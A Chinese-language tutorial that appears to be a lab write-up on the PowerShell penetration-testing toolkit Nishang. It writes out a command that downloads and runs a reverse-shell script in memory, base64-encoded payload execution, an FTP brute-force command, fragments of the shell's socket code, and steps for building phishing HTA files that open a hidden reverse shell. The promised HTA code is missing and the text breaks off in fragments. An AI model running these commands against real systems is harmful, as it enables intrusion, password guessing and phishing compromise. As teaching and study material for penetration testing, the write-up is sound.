一、介绍
- Nishang是基于PowerShell的渗透测试专用工具,它集成了框架、脚本和各种payload,被广泛应用于渗透测试的各个阶段。
二、使用
- 下载脚本工具:Nishang
- Nishang需要我们的Powershell版本在v3以上才能使用。
- 进入相应目录下
- 导入框架:
Import-Module .\nishang.psm1
- 模块介绍
- 信息搜集:Gather
- 域相关脚本:Get-Unconstrained
- 一个ASPX的Webshell:Antak Webshell
- 后门:Backdoors
- Client进行有效钓鱼:Client
- 权限提升:Escalation
- 更详细的介绍和使用我们学习参考Powershell 渗透测试工具-Nishang
- 导入框架后,在使用对应脚本时,可以使用
Get-Help 脚本名称 -full
得到一些使用提示 - 两种在内存当中去加载脚本的方式
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
(IEX为远程下载脚本)- 第二种:
- 使用
Invoke-Encode
脚本来将我们现有的脚本编码压缩:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
- 在目标上执行:
powershell -e [encodedscript]
- 使用
三、Nishang渗透测试
1、TCP交互式Shell
- Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,且基于TCP协议。
- 参数
-Port
需要正向监听的端口或要反向连接的端口。-Bind
正向连接-IPAddress
选择反向连接时需要连接到的IP地址-Reverse
反向连接
- 正向连接
- 反向连接
- 脚本分析
- 我们先使用
Get-Help Invoke-PowerShellTcp -full
查看信息(以下为部分,我们可以重点看语法、说明还有示例,这条命令所显示的就是脚本中的注释部分~)
- 运行参数
- 主函数部分
我们可以参考所学的socket编程,在wireshark中抓包,我们可以看到TCP数据包,脚本中将靶机作为服务端,在建立三次握手后,服务端会向攻击方发送数据
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length)
攻击方获取shell后输入命令时,靶机会接收并执行相应命令,在输出
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
- 我们先使用
2、服务爆破
- 在之前的学习中我们利用Nishang中的扫描模块,尝试了对FTP服务器的爆破,效果如下:
- 显示爆破过程:
Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:\Users\ASUS\Desktop\username.txt -PasswordList C:\Users\ASUS\Desktop\pass.txt -Service ftp -verbose
wireshark中可以看到当爆破后,ftp服务器端与本地的信息交互,本地确认完得到结果后退出。
# 获取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制台 Write-Output "Match $username : $Password" $success = $true
3、利用HTA反弹获取shell
- Nishang中有对客户端进行钓鱼的模块——
Client
,利用该模块生成各种感染的文件如HTA、Word,来执行powershell脚本发动攻击。 - HTA,HTML-Application的缩写,它直接将某个html页面保存成hta的格式,打开时显示为窗口交互界面,就是一个独立的应用软件。
- 使用Nishang中的
Out-HTA
生成带有payload的hta文件:Out-HTA -PayloadScript C:\Users\ASUS\Desktop\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1
这里生成的文件是闪退的...长时间打不开.. - 借用一篇文中的代码,修改这个生成hta的脚本。
- 要生成反弹shell,就要修改后面调用powershell执行的部分,原代码中是在生成时用参数调用生成reverse的脚本:
Out-HTA -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1
,但是kali那边监听没反应 于是换成了直接远程调用脚本,并用
vbhide
用来隐藏powershell的弹窗。主要代码如下:XXX-exp Caculate.exe
Loading...
[]100%